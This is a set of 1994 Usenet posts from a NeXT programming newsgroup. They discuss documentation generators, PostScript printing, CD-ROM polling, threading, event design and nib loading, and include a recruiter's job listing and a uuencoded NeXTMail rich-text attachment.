Newsgroups: comp.sys.next.programmer From: msb@plexare.com (Michael S. Barthelemy) Subject: Re: documentation generator ? Message-ID: <1994Mar17.043209.8565@plexare.com> Sender: usenet@plexare.com Organization: Plexare Development Corporation References: <2m674k$m81@news.duke.edu> Distribution: usa Date: Thu, 17 Mar 1994 04:32:09 GMT blake015@mc.duke.edu (Denise Blakeley) writes: > Joe Freeman writes >> It used to be that the NeXT .h files all looked a lot like the rtf man >> pages. Has anyone ever actually seen or written the mythical program >> that generates docuemntation from .h files? > > Yes, there's a public-domain app called ManPagesFromHeaders. I can't > seem to find it on the archives right now, but it's around. I can > NeXTMail it to you if you like. ManPagesFromHeaders unfortunately is very limited in how it works. It's the primary reason why I wrote ClassMaker. ClassMaker works on protocols, classes and categories and attempts to do the best that it can. Unfortunately it is not perfect but it works quite well for most uses. It appears to have been used in a few of the better *kits which are running around. (Oh how much I wish I had written in a few things so that I could tell who is using it - I guess that's what the next release is for. ;-) It's available on both cs.orst.edu and nova.cc.purdue.edu. (As to the exact directiries I am unsure since it has been moved from submissions.) The main advantage of ManPagesFromHeaders is that it is public domain and comes with sources. ClassMaker is shareware and does not come with sources. If anyone would like a copy of ClassMaker feel free to email me at either of my addresses. (Only those who cannot find it on the archives or do not have ftp access please.) Mike Barthelemy NEXTSTEP Developer msb@plexare.com msb@its.com
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: wysiNwyg! Why won't this print? Message-ID: <CMv9rM.668@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <PJS.94Mar17140205@bigdog.engr.arizona.edu> Distribution: usa Date: Fri, 18 Mar 1994 15:30:58 GMT In article <PJS.94Mar17140205@bigdog.engr.arizona.edu> pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) writes: >>In article <CMtEpq.J3y@dvorak.amd.com> rpomeroy@aunext1.amd.com (Ron >>Pomeroy x(Coop)) writes: >> >> > In article <PJS.94Mar16162216@bigdog.engr.arizona.edu> >> > pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) writes: >> > >> [Original question deleted for brevity] >> >> > Just guessing but don't you need a PSshow() at the end ? >> >>PSshow() is for displaying a string. Neither PSshowpage() nor >>PSstroke() made a bit of difference. >> >> > Also, I've always been confused by the following statement: >> >> > return self; >> >> > If this is C, shouldn't it read: >> >> > return(self); >> >> > How exactly should I interpret that statement ? >> >>Nope, check out page 25 of K&R, 2nd edition, or p. 218 of the first >>edition. The proper syntax is "return expression". Parenthesizing an >>expression doesn't hurt, but it isn't required. >> Smalltalker learns some C....and PostScript! Thanks! -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: spagiola@leland.stanford.edu (Stefano Pagiola) Newsgroups: comp.sys.next.programmer Subject: Re: Mathematical typesetting Date: 18 Mar 1994 17:14:58 GMT Organization: Stanford University Message-ID: <2mcnii$egj@nntp2.Stanford.EDU> References: <1994Mar18.021932.7484@Princeton.EDU> Paul Lansky writes > What is the best software out there for typesetting > Mathematical expressions? thanks EquationBuilder. Ciao, Stefano --- Stefano Pagiola Food Research Institute, Stanford University, Stanford CA 94305-6084 Tel 415-725-0939, Fax 415-725-7007 Email spagiola@leland.stanford.edu (NeXTMail encouraged)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: AFS! -- CodeUp (editor) <- WriteUp <- PasteUp please. Date: 18 Mar 1994 17:47:06 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2mcpeq$i81@agate.berkeley.edu> I got the WriteUp package yesterday (it must have taken some time to propagate to CA via UPS Ground). I like it. [though I also need underline feature too.] Particularly, I like the *multiple views* into a single document. This is the feature I have always wanted in Edit.app. So, please AFS, strip out some more features from WriteUp and come out with a nice programmers' editor with multiple views into a single file. [For those who want to stay away from emacs.] I want multiple views, undo, and horizontal scroll: two of which are already there in WriteUp text object. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: How do I tell WM to poll for CD's? Message-ID: <CMvBGD.L0@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <1994Mar18.053024.10688@galileo.cc.rochester.edu> Date: Fri, 18 Mar 1994 16:07:25 GMT Sounds all to familiar... In article <1994Mar18.053024.10688@galileo.cc.rochester.edu> lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > How can I signal/message the Workspace Manager to resume polling for > CD's? The reason I need to do this is that CDPlayer.app does not work > with my current hardware configuration, and yes I have tried all the > posted requirements for this program to work. So..... > I have written my own version of the CDPlayer.app (and am currently > adding new features), So did I, a specialized version for the TOSHIBA 3401, including CD->SND conversion... > but I have no idea how to resume CD-rom polling > once the program terminates. Apparently CDPlayer.app (the normal one) > can do this because if I kill it, the drive is no longer checked, but > if I quit, the drive is rechecked periodically (every second). Use rsd?h instead of sd?. When you open the device, and execute a command, NS(!) asks the user to insert a CD. It also stops checking for CDs, and doesn't reject them. Then, when youre done, or when the application gets terminated, make sure to use a ioctl(fd,DKIOCEJECT,0) before close(fd). That ejects the CD, and NS starts again checking for CDs. > Obviously, this is a somewhat substantial hangup, since you can only > mount CD's subsequently by manually mounting them. I am reluctant to > send my program to other netters for testing 'til I can solve this problem. > It doesn't bother me personally too much since I rarely mount data CD's. > Anybody know how CDPlayer.app does this? I would guess it's a message, > possibly through a service. > > Any knowledgeable replies greatly appreciated. > -Jason > > ----- > Jason LaPierre -- University of Rochester -- lapj_ss@troi.cc.rochester.edu > ---- Gerd
From: clint@homey.pencom.com (Clint Tomlinson) Newsgroups: comp.sys.next.programmer,comp.lang.smalltalk,comp.lang.c++ Subject: NEXTSTEP/SMALLTALK/C++/OOP--PENCOM (recruiter) Date: 18 Mar 1994 19:51:28 GMT Organization: Pencom Sofware Message-ID: <2md0o0$p09@digdug.pencom.com> Keywords: NEXTSTEP, Smalltalk, C++, OOP Pencom seeks 34 NEXTSTEP/OOP Engineers for internal and external projects for our distinguished list of clients. AUSTIN, TEXAS - March 18, 1994 - Pencom Software's team of NEXTSTEP engineers are dedicated to providing services to developers and end user organizations equipped with workstations and software from NeXT Incorporated. A NeXT-authorized systems integrator as well as a registered NEXTSTEP software developer, Pencom provides a full range of services to support users and vendors in adopting this revolutionary technology. Pencom continues to be the leader in NEXTSTEP/OO software development and consulting services, and has the largest staff of NEXTSTEP engineers outside of NeXT themselves. Pencom Software is a division of Pencom Systems Incorporated, a New York-based firm providing software engineering and manpower resources to Fortune 500 companies and leading computer firms since 1973. Currently the largest recruiting firm specializing in the UNIX/Open Systems market, Pencom employs over 500 people and maintains a large heterogeneous network of workstations including more than 90 NeXT machines. FOR MORE INFORMATION CONTACT: CLINT TOMLINSON Manager, Advanced Technologies Recruiting Pencom 9050 Capital of Texas Highway North Austin, Texas 78759 Fax: 512-346-6444 E-Mail: clint@pencom.com ++The following permanent and contract positions require NO LESS than 2 years industry experience, and permanent positions require permanent residence. THANK YOU for your cooperation. If you are interested in being kept informed about positions but are not actively seeking employment, please email contact information and qualifications in confidence to clint@pencom.com. CALIFORNIA 4 - NEXTSTEP Software Engineers * NEXTSTEP/UNIX application software development * Strong NEXTSTEP, AppKit, Interface Builder experience * High level design, rapid prototyping in NEXTSTEP environment * Ability to work in a dynamic team environment * Ability to transfer NEXTSTEP technology to engineers * Strong interpersonal skills * 5 to 6 years industry experience 1- Systems Engineers * 4+ years industry experience * 2+ years OOP (NEXTSTEP/C++) * RDBMS (ORACLE/SYBASE/Database Kit) * Applications development * Sales/Marketing experience * Strong interpersonal skills * Willing to travel 1- Senior Sybase Database Developer * 6+ years database design and database applications development experience * 3 years application development experience UNIX * 3+ years Sybase experience * 1+ year applications experience in NEXTSTEP or OOP 1- Senior NEXTSTEP Architecture * 3-5 years NEXTSTEP architecture product development * OOA/OOD, product/application architecture * Ability to work in a dynamic team environment * 6-8 years industry experience TEXAS 2 - NEXTSTEP Software Engineers ( 1-consultant 6+ months) ( 1-permanent position) * Strong NEXTSTEP applications development * Strong UNIX, Objective-C, C++ * AppKit, Interface Builder, Database Kit * 4 to 6 years industry experience * Network Management Systems a plus * Telecommunications a plus 3-NEXTSTEP Applications Programmers * Objective-C ,OOP, GUI, RDBMS, i486 * Strong NEXTSTEP applications development.. * 2+ years NEXTSTEP, 5+ years industry experience * 30-50% travel 4-Project Managers * Objective-C ,OOP, GUI, RDBMS, i486 * Smalltalk, NEXTSTEP, C++, UNIX * Strong NEXTSTEP applications development.. * 2+ years NEXTSTEP, 5+ years industry experience * 30-50% travel 2-Test/Development Engineer * Applications test, system support/test * Test tools development, software quality assurance * NEXTSTEP applications development experience * 3+ years OOP/Objective-C **3-entry level NEXTSTEP/Smalltalk applications developers * Academic experience with NEXTSTEP or Smalltalk applications * Strong project development with C, C++, UNIX, OOP * Fast learner, very good interpersonal skills * 30-50% travel NORTHEAST 1-NEXTSTEP/UNIX Trading Applications Developers * 5-7 years UNIX/C/C++ * Financial applications, Equity/Derivatives trading systems * Sybase/RDBMS/Database Kit plus * OOP/C++/Objective-C plus * Sun workstations 1-NEXTSTEP System Administrator * NEXTSTEP/UNIX/HP system administration experience * Objective-C or C++ experience * Background in a heterogeneous systems environment * 5-8 years system administration 2-OOP Software Engineers * 2+ years Object Oriented Programming (C++/Objective-C, Smalltalk/NEXTSTEP) * 2+ years Object Oriented analysis/design * 2+ years NEXTSTEP/Smalltalk applications development * Strong RDBMS, ORACLE, SYBASE, Database Kit * 3-4 years industry experience MID-WEST 6-NEXTSTEP/UNIX Trading Applications Developers * 5-7 years UNIX/C/C++ * Financial applications, Equity trading systems * Sybase/RDBMS/Database Kit * OOP/C++/Objective-C * Sun workstations 3-NEXTSTEP Applications Programmers * Objective-C ,OOP, GUI, RDBMS, i486 * Strong NEXTSTEP applications development.. * 2+ years NEXTSTEP, 5+ years industry experience More positions soon...
From: garth@cs.swarthmore.edu (Garth Snyder) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 18 Mar 1994 21:33:48 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2md6ns$jd5@larch.cc.swarthmore.edu> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <2m3maa$fvh@larch.cc.swarthmore.edu> <CEDMAN.94Mar15081207@capitalist.princeton.edu> <2mao6t$p1g@larch.cc.swarthmore.edu> <2mc36h$1nk@nic-nac.CSU.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit eps@futon.SFSU.EDU (Eric P. Scott) writes: >> However, the thread_switch() solution which someone else posted seems like >> a cleaner way to go in any case. > > Maybe, maybe not. "If it's so great, why doesn't NeXT use it?" Well, speaking as the person who wrote most of NeXT's multithreaded apps, "Because I didn't know it existed." Garth
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Should events be objects? Date: 18 Mar 1994 13:11:43 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2mc9af$12a@gpo.gb.swissbank.com> Can anyone think of any great advantages to making events into objects rather than structures? Events are pretty passive, they get acted _upon_ rather than doing things themselves, and the main methods they'd respond to would be to report their type, position, etc, so maybe there's no real point to having them as objects. It's just that... they _feel_ as though they should be objects. It would be easier to add new user-defined events. Copying and freeing would be easier. And rather than have Application de-multiplex events, you could just have one event entry point in Responder and send the event a "perform" message. Then the event could send a message back to you. Sort of like: @implementation KeyDownEvent:Event - performAction:responder { if ([responder respondsTo:@selector(keyDown:)]) [responder keyDown:self]; return self; } @end Nah... looks a bit tortuous. Dave Griffiths
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Targets notified by loadNibSection: ? Date: 18 Mar 1994 22:12:18 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2md902$4r1@transfer.stratus.com> I'm building a preferences panel. In init:, then panel registers its defaults. In showPrefsPanel:, it loads the nib file (if necessary), then sends setStringValue: and setIntValue: messages at the different controls. The problem is, inside loadNibSection: its seems to be sending action messages to my controls ... which cause them to update the defaults database, BEFORE my code gets a chance to initialize them with the correct default values. There you go ... the my PrefsController object calls loadNib, when messages the application to loadNibSection:.., then IBOutletConnector seems to decide to notify the PrefsController (the target of the action) with the appropriate message for that control (setRejectRTF:). I've scoured the documentation, but nothing states that this notifications should occur. I have a workaround, but I'd like to know why? -- CONGRATULATIONS! Now should I make thinly veiled comments about DIGNITY, self-esteem and finding TRUE FUN in your RIGHT VENTRICLE?? Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M<W=I<W,@2&5L=F5T:6-A.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P($DG;2!B=6EL9&EN9R!A('!R969E<F5N8V5S('!A;F5L+B`@ M26X@:6YI=#HL('1H96X@<&%N96P@<F5G:7-T97)S(&ET<R!D969A=6QT<RX@ M($EN('-H;W=0<F5F<U!A;F5L.BP@:70@;&]A9',@=&AE(&YI8B!F:6QE("AI M9B!N96-E<W-A<GDI+"!T:&5N('-E;F1S('-E=%-T<FEN9U9A;'5E.B!A;F0@ M<V5T26YT5F%L=64Z(&UE<W-A9V5S(&%T('1H92!D:69F97)E;G0@8V]N=')O M;',N7`I<"E1H92!P<F]B;&5M(&ES+"!I;G-I9&4@;&]A9$YI8E-E8W1I;VXZ M(&ET<R!S965M<R!T;R!B92!S96YD:6YG(&%C=&EO;B!M97-S86=E<R!T;R!M M>2!C;VYT<F]L<R`N+BX@=VAI8V@@8V%U<V4@=&AE;2!T;R!U<&1A=&4@=&AE M(&1E9F%U;'1S(&1A=&%B87-E+"!"149/4D4@;7D@8V]D92!G971S(&$@8VAA M;F-E('1O(&EN:71I86QI>F4@=&AE;2!W:71H('1H92!C;W)R96-T(&1E9F%U M;'0@=F%L=65S+EP*7`H*>WM<3D='<F%P:&EC-#4P(%-T86-K+G1I9F8*,3,P M-C0@33(T1$I@(U!$8&`B8&`B(3`N(C`V(S`^)#!&)3!.)C!6)S`T/T]>*3$N M*C$V*S$^+#%&+3%.+C%6+S$M7@I-(TDU,BXR,C8S,CXT,D8U,DXV,E8W,EXR M*C(Q,R(Z,S8[,SX\,BXY,T8^,U8_,ET_42E>,TX_5#9#,UT]"DTS2D(T/D8T M5C@K0%4J1#(T3D<R7&!@2C-(*C%50DI243Q!23(F,DHU5C8U4C16.E(R03TD M.2A*,E%61E,*34I`,"I`(2I@)6!`(6!`-&`J6#)%/2DD0S9:.5=6-6!)-&!` M,"HA(2@H8"@H(6!*5#@R,4M),C8B5UDJ,@I-8")=(F`U-4@A*"LH.2<I.3,K M."\L,CLC(D`U.5TU8$LP.2,S4C)?6"<K6C\T0DE@-4LW.B<X62Y6."L^"DU: M030B0R183S<X7"0\)D]6)SI90RTB0EU7.S=@0RY<)D@U*T9<)C):*RPT134\ M(TTV-U!+-$I%-$H]1U`*35I74$@B(5Y#5%Y>/3H[6#\N,RHP.EXW7#]'73]/ M7C]77R]?8"1@4"5@.UQ"2$%<(U`Q(2PE,#9`2#4O20I-(5HS)3$A5"@P22(T M*C!*)2PB,%4C.UTG-#),+C$A8$!/)3`E+"8Q+$$H8$<T,B0S43A`2"\Q*"), M,%%$"DU?6$LG-#(L.5%07T!7,4$G+#Y/*R9,.U%=)TP]03,F+$$Q42@D0U%3 M*$1#,%@O65Y2-2DL(2)./DE?1TH*35]@7T\J*UQ+4E1?8$]#6R,\1C$C+"1( M44U@.$M&2CY,4B)+*T!>4S8K7$\S-V`\43%@+TA+1EXO64M#7@I-+UA+1ULK M/#!216`L5"=*+UQ<)DX_2%]3,BI)7U)?,$A>5#@O3%Q&7RX\/C-++TE:1TXZ M64M&7RM<63!5"DTP+&`T)RE96E4I-$A+5%<S0$]44CM87E11*B0A,TDI45M2 M3S,M+4)?*RU@,RTJ.4I'7S8],E)`/DTS53(*32M=+34Y,R1.,",V+"U33#I( M7U5*.UE?4DDW+$!5(CY<5%,Q*E%:0E\Z73LB7BM=030_.E4J,BLL/2%6/@I- M7$TW4%DT(U]4)S`\5C))."U.5E\S/393,3P\1E8W/%5"5%LZ/%-63RTM,E,U M,C5/,UD^12PF2SY=4E8["DTO+2TS73DD+5<V7U565CLM+2125S%%3U1',B1< M6#$V)2I2-3]-/5E@7SU%.2<S73TT)4-.,R\K1$XU4"4*34(K7E9%15!*63M& M/#HY,496+R$R+30G1S0R5"=%/#5@-4A?2$9"2$H],D!:+4DR+R==(E0K4#]) M5D=/1PI-)$8\4%4C5DI0)R0\,E$[2T0T43=+1#91/B4L*44T-2-71S0R,C)$ M-%TN0$$R)%!3.T`M)E-$14XF6#LV"DU<+E9!,C,N74113CY=6U=.6TT[.TU> M6$DG3EY3+2]-)EI#+5`I,25@25-.*2E/+E];6C4W(TQ$(S(Q6S$*34]9+%P[ M4"H_)3!+(30](C1@-6!@)3$Q)30T*C%<)TY.66`T8#%@)3`P)E(K,B1/+3M) M3DDE/#Y@,3$K6`I-2$DQ)2178#$E)#$Q)3`\2S$Q(E0U-RE;6#4G0D$T6B,I M(359/RU;7UA0-#X_4UH^7B(Q,#0^(U)4)R$D"DTU,3$E*UE$,CPH+%!4.RU- M/TQ>1C51-3PU5S$E/2=82D,^(C0G,4I15%='7RE>*U,Q+$U=8#0H2#`C6T,* M32)@2B=47R0R,T<G/4)(8&!?.5@C0T='3BXI)EPQ7$!+5U--3CT\7C%87"%" M7D!//5!835U,)R=;3R4^7@I-7S@E,"A@8"]$0#-@8#,C5D=(3B@K6C,M6E-` M)T\O.D$J(D@Q(U<Q-6!*/3`J2#0[2R=4,#LM/"A@,2,T"DTS(B]2.TQ;4B(A M+U<P4%H](BA@(3!`)U\N,C$H5TE/0S]'2TU,0B98-%TL,D<F,3PA,R5"8"PV M1V`Q0C\*33)7*BM;3C9;,4)#*%DT7"PM-RY12$!7)DXD-#M'*B1%040Y0BXS M5E(Q3E4J+R@B(RPZ,TTN.4`U)SQ$7`I-0$([3D4[*R4L(3,Y)S50.4,^*D%8 M6TQ!,2XQ*CI;/B$T(R(Q3E(^+B@J,3$M024B*"4T7#%-."@A-25<"DT^-2@M M55$\2"Y"0#TR-U5:1$%7/3%?+BA=6C0I+3=,,%Q@-%Y97$Q$1RHP6$$O8#U> M)#\X7U!015(S,5@*35!`1T!.5#Y",BU5*%I'-DU1/E5@-5PD3$@D44`[3B)* M.2$O645%5#\B(D(Z)"8H-S!01B<A75<D1R@^4PI-/2E<74(C1"<Y2#!-0EI> M2CQ455)8,%1#.28F)TM763PS/D4I*C@Q-$\V4S$A1F!<65A,,4E;,2E`-R5, M"DTU-$5!)3)`*5XJ(CPP*F`E+D5%,%M>*#0F2$\Q44=3)UA47"M(4RX]8"$Q M0%8L5%=5+5-$,%@J*EP^.%4*35-*234Q2D1</4DZ35A)-R5&14TC*C=2)#!$ M65U862DJ/D1(*E0S5CLQ*2A=12PK+30F*E0X6%Q-1C\G,PI-64TQ*DDX1%Q& M+#(N2$M()S$D14%?*29$4SQ*1B)(1CE@+%4[2#`A)DM$3RHU6BQ3(C\S.CXM M*3E15%(R"DTX+R$M43$R0C%+1U(O*TE@6BU4."HI.#!7/EI=1C8A2S=(3S]+ M,S!.)E0G-TY4/BE--U906"I'45)?2E8*358V3R0D5T\S,$M86D8G4U8Z2$19 M2S1>5E!9+U=<+48_33@J.BPK2BDP+C]+(CE,2&!+*E!=04,Y1$<D/PI--T$S M-B4E)2I35"1"6BU+0$PJ*CQ$7%I.+DE,43I"3TPD6S8V.$PG(BE8,U0X/C95 M/ETC4B4T*RHB444_"DU:/2)//4];-58A/ULT*E!#1S93-R@D)%PZ5DPN2R5. M24@I.%Y:+3=70T`B+"\J(5=-14$A-R1.42(I3%0*33%!-&!"1#DU.BI@(B<R M4%]*,R9=3$TU*$I$3TT\,SY*/2XX+4XH36`S,V`I+4I!5%1*-25%(E8A4C@U M*`I-3%4]1E$A1$LG5%)#.T!27T4M6%-8+$0I04(_-2M;7C1;.S16,D=9*C`T M+D<I+#TT14Y@4C\O(D9!-#`T"DTC3#!@(F!@)2HR22TN23)5+TH\,DX\-$(\ M)$1'4#<Y6C`S4UM-34M143%')#Q).D\R-T\O-BI,038A(2X*34$D,#E6/#4^ M8"4B*$A)1"1$5#\\2E(^+5`S0#0P*B$E+ET]*BA@-&`H3$-"2E(S*E%0340Z M73!&3$4W6@I-5U-0.TY/,DTO1S\K02DY33<]/D(B(5A=.T(U)R,^53@[+3DI M2EM6,4M;.3)77"\[)5A)3DA</R\Y*2A>"DU7/D=9(UA')3XG0D\G)3%#+B=- M32(R53M-*F`B5%U$6SM:+20E0RU85%-9,EI*5$0R6E,\54$E.$HI3EH*32XA M7#1)3B]`(34G6DY=3TQ93T131%XA7TY*7#]0-E4W22X]*U5=0B\P*5):+B1& M3CTC6D%-6%8V5U8\.PI-*E9+02Y=0R=80DM06E!(6TQ/,"Y&-UI;*U9#/TY) M/4]+4S5!8#$^25PF-%@A5"]1,TM-5"M10"0[*$17"DU,2F!$+E@B.RU%,S95 M5C8Z2#Y:7%9'0#I?7BM=3S1)*B]/.RDU,EM?/"HI/4\[)5-=4C@W1#`]06!' M7B0*34(U.2,J+T$T1%TH+"XQ4U!=)S9#1R(C/EP^2%DR6%@M62=",#!*2C([ M-CE$-SU8*DA;)T,A4U`Z2%Q-40I-*C(]7D<L3C0\15@G4S@Q-$I@)#$O05TD M4D)-+S@_+ET]05-`13\F3C\X+4Y!2#8W3$PK0UI;4TDP)2%4"DTL.TE<7$E1 M4D=`.$HA)#LD55Y?,E(W*ULV3R5:.5%'1CXF1RHV15LC(5<W6UXX)UH[,#TD M/TX_+E(Z7#$*34DK4"Y51SPG0$(H45$N*E$^.RLP/4A915(S3S\T)EY7.U56 M72=*0U@M2U(O/RE*-TTI*CY=-#];62-;,`I-+S!0)2]`0CA86T5;2CM55TU< M+S,O)#<C(D)>-2DQ63Q3)5DB0SY*4B563U1>(TTA)$\\/U='(D0]*BU'"DTZ M6CU81R,_*5Y.72]07U(O5%<W3R4M14P[+#Q%1"-*0#T\4%M`,RU;0UI`6B). M5C(_059%+SD_)E$G72H*34(P(BY00D)$2#M"3R=81RLB8%E-*D-:7E(_1U\F M251<*"0V5DY4.F!-.R\A6%\J63Y?245)04=6/50O5PI-+C8^4C!$1RP_6D8^ M3"Q4(E]073A03$U82$0E)$%6*TQ?7E526T`P1&!@1R5@*$%=8"Q>4EH^42=@ M-E16"DU,4#](/D`_/%181R);(V!*7CQ98%Y`22Y`1V!61$A?(6!<2U9&/D%= M(3\A)EU07#!<4%XO(3!3,EHF5E@*349*)31:)E\D039"22$^3"1=4%E:7#)1 M5#Y@72I?5%Y473!,72$H6%@K6EA(*BI84%@N7BM@4$DX7F!?-@I-7B19)%U9 M8$Y=72)+(E4B)R%(251>,D<V*3Q47"DL3$Q*/#`\/E8P/%U;(4A>5B4T7D90 M8$I*/#Y1+%%:"DTI*2,V75)9(EY#(SY>6EY>1D!')$\V0CA!6DTT129&.%HR M4CQ!6CU`7SX]*D5@(34C.%TZ24I?6$PX7T`*33M.+#1.2$XH/E(^+%)4/B1: M3B4T1UA@,%\^/EQ')6`N+"A/*%]:04XZ/%8B6S!.0CY58%A.221:7UQ;20I- M)24B5R,Z6SH^7V`X2"4E,$Q*6T15724S)3PA-$`F1UA`6R0[(U$A+$U:5U1+ M6#M/)3,E/R58(21-7R5<"DU!+25"7U)1(R(R64I,+R1014)6(E-.4BQ,0C]* M5"A!6$=9)B(^124G(CQ97C]0(24A42904CY/2$4R5%P*34\P5%4D)$8Z1#XM M/#Y?)#9!720]8#$A2R)-(2I?.%`J*30E8%5(*DLG3R4I)$!<-EU+*",F*2=8 M758N(PI-*"4G*%XN6%\B.BM`4$Y>*2(Q(DA0/2,D*2I!-D!82BI!7E`R/#!5 M8$]:1%I?-2=7(E$C5%A07DI<+$I0"DU>1"DV5EA**"DH45\H.2A#*"@[*EY8 M03(_2BDF/5H]5R8Z2$I</2-7(3\I5CX^0"977#TJ2T<G32@Q*2D*32$N7SP^ M+$@D/3)7)E1:3"X^*21%8"@^7$M7)4);22HK(4<D/R%+*C);7$Q`6S`],C], M7%LJ0V`G8%I-1@I-5SY&6#Q,5",F)R)?*E)#,V`T05954$XH0#TJ7$U.+3M@ M5%4W)5Y"1%LJ55`_.#XN12DI0"LR55I75$=6"DT_6DTA*R@_3#XI)B]@2CLV M3$1!,2M805173R)/(BA0*EI@13X[+6!9(3!%5R9-)B,L.%8I*S!!7RM>*R@* M355:/U$A/BXR03<I4$]&+"Y/4EDW)TLI5E925UQ/1D]21D,J+2Q$4S\H1R9' M*$I.02=5*$$L8%@G*"PJ/0I-+6`J6EDM(EQ>(RU(24,M32U7+2,I12@^754A M+RA.*3LH7DHI+5Q>42I1)U$C/2)"*34I.$0S(CDN.$I9"DTI2"M&.RQ!5E=& M2#Y71C]405PA)#]7(B\M3R)864LJ0D@E(SY72V!6/EI`1D%<(6!6.2(E+BDC M(2Q'*R4*36!>5E)412I=)D$C+R%%(D<O-D`C*STK*D%#)4!45E4R33131E55 M+E<C4RHQ+"4P,$XV5%96)D!&7"$P/0I-,"4H23`H7#<L22E9,$A((RT\64Q9 M3$%;,#\F*E9)+29!7"XR04Y:+E<]*U)<6EHA+D1!(S`G)4@H8$8T"DU21B4T M2B4U(5@Q(C@U(E@V*D@Y(U@P6D1%8$@D0DA!)5A1)C@T2T4P*C$L.4E@.B@K M)DDI(TDI)#1%*"D*32$E22\K.2\G(3(J.$DA)3$I23TB64LM6$4E)%,K*4\O M6#\L*%\H.B$Q.#DD230Y25TQ2BTL*45@2"DS*@I-12Y823):12]:)2I))35: M+3(I-35*62LZ/2Q8+2(Q-$A%-3HK(R5:224[-S8H6S!3+#HK*R(A-$@E-$!+ M"DT_)"I=*EM7*TLG-"5@*$$P(D5@*D$Q/B0E05%@2BM+/EL[+SM?.$M#-D4P M2"4D2$0T0D$D2$$T*$Q6(D$*33%#6S\_.C5$63\G.C]@53$Z+%1*0#5'36!" M3#%)*S=$.R%**B-%.2-+-3!@2$U,-#!(1&`B34M*+2U./0I-52)<(TLL4TM< M6U!835%<1TXN-R8Z4T\^/T91,59=24(^,2HZ7U5845,T4$HA)$I@,4%<7T8_ M."I`,5@Y"DU94D\I(5Y3/%]+.R\E/T]3(R\L7THG3DU@(BU-6%\D(4@T62PC M2#)?7"4I,%X\)D]-8$I-4$$A+"@P.2(*34(I2DLB(34O3DY")2@\8"(C33Y7 M-"I0.EQ3,B$T0%(G,29>-"TP32(S(4PJ4%M.2"Y@-#8N2E\[,U$^1@I-*E(L M4%,S+BLP450[2U]@-#,P1%5*5$XC*"LV3TA+1#)0-219,2U?*3(B0"$H.R@P M4DU4/4M$3D--1313"DU*,5).5$P\4CI<1$A,4EM"(RTG+#,[4E)2-$U,3%TK M54$U+D0P44TL2DE3*2,\*U`[*$Q(,$4C.34R/V`*35Q>,#4O52(T(2,](5`G M,$PC5"\Q12104$DL7"XW)%PO134D+$132%M**R1@05,[*5\Q7&`P6R4D-315 M+@I-0S=!-$)5,"E5+S0]338S)#A,+%$B53-/,SE@)#$N034L,#`Q,2$P-30[ M8#13.C95)%]-,C%<4SQ0,B4M"DTI,20D,3)=+#!1*2$M)E,E04DO,3TQ331, M0S<R23DY)"0Q*4$E*4I62RTS-R==0C,],D,]-2DJ,T`M02@*32Q+)#4[75!% M-%M<1B$Q*E535D\U5$,Q6$HC-E,Q*UQ`4C)3+5!5-3Q!)35?+255*"\X2UQ7 M.4$[,44U+0I-.24X*R==-2$Q0RU26&`Q,"4W,3(\7595/UQ9+S\N4RTX*C0C M+51=.CT^34DF43$Y,STD)U-`2$4E-UDO"DU=7R@G,"XG+TLC3CU93S$F/$I# M(R8Y5ULK1C]9(35:.5E?2$X\,EDE(S<O2SLE0SDD540O3#5*-519(D,*35)- M-44F.R4L.%%34%HS/TTX+$]!.RY,7E0N*3%124Y`6C\[15=;-3Y644\G235? M5SLI,T%.*EI$0CI51@I-0EE88%HA,2Y%-SY6.UU,1CP[+%M33E@V42)<.SLE M5D,S0ETS5BQ;1B1:+T%.2UX[*TD^.SL],B9..4LR"DTV6SQ:2B9&/$5)4DTZ M,51/)3Q=2$<T6S]5/CL\,T@N4S1/,RQ6*R-'1%,R+R-=,SU5*59`/2,V)D\U M228*34]`2D]70TM6+TTD15XS+R\Z7BD[/$17/D!,1BXW63TJ4B]/+TLE,3XO M3%XG.RY!/"1"544^2R1&7UQ&6PI--BA3-5LG5%Y%7#Y3.2E3+C,X.$@G33<W M,BQ>7R5*1D$N2#)47DU@4TDG+BY./2Y9758K2#9#3E0].ELY"DU56U\G,"]# M.BX^0$TI(50T1"\H+#)1)EDK(ETK6S]"7UDV(2$V3"I;*$`P."0R*$(E,#HY M16!&(C-*4RL*3459)6`B0"%@0B8J1E`L."I(7BPI4"$B8"0T*&`U(3Y(/5`U M0%U@55H[25,V35,X5$XI)UE(03`F+C8V30I-)%,S455=4#$_72$L5C)=,S%$ 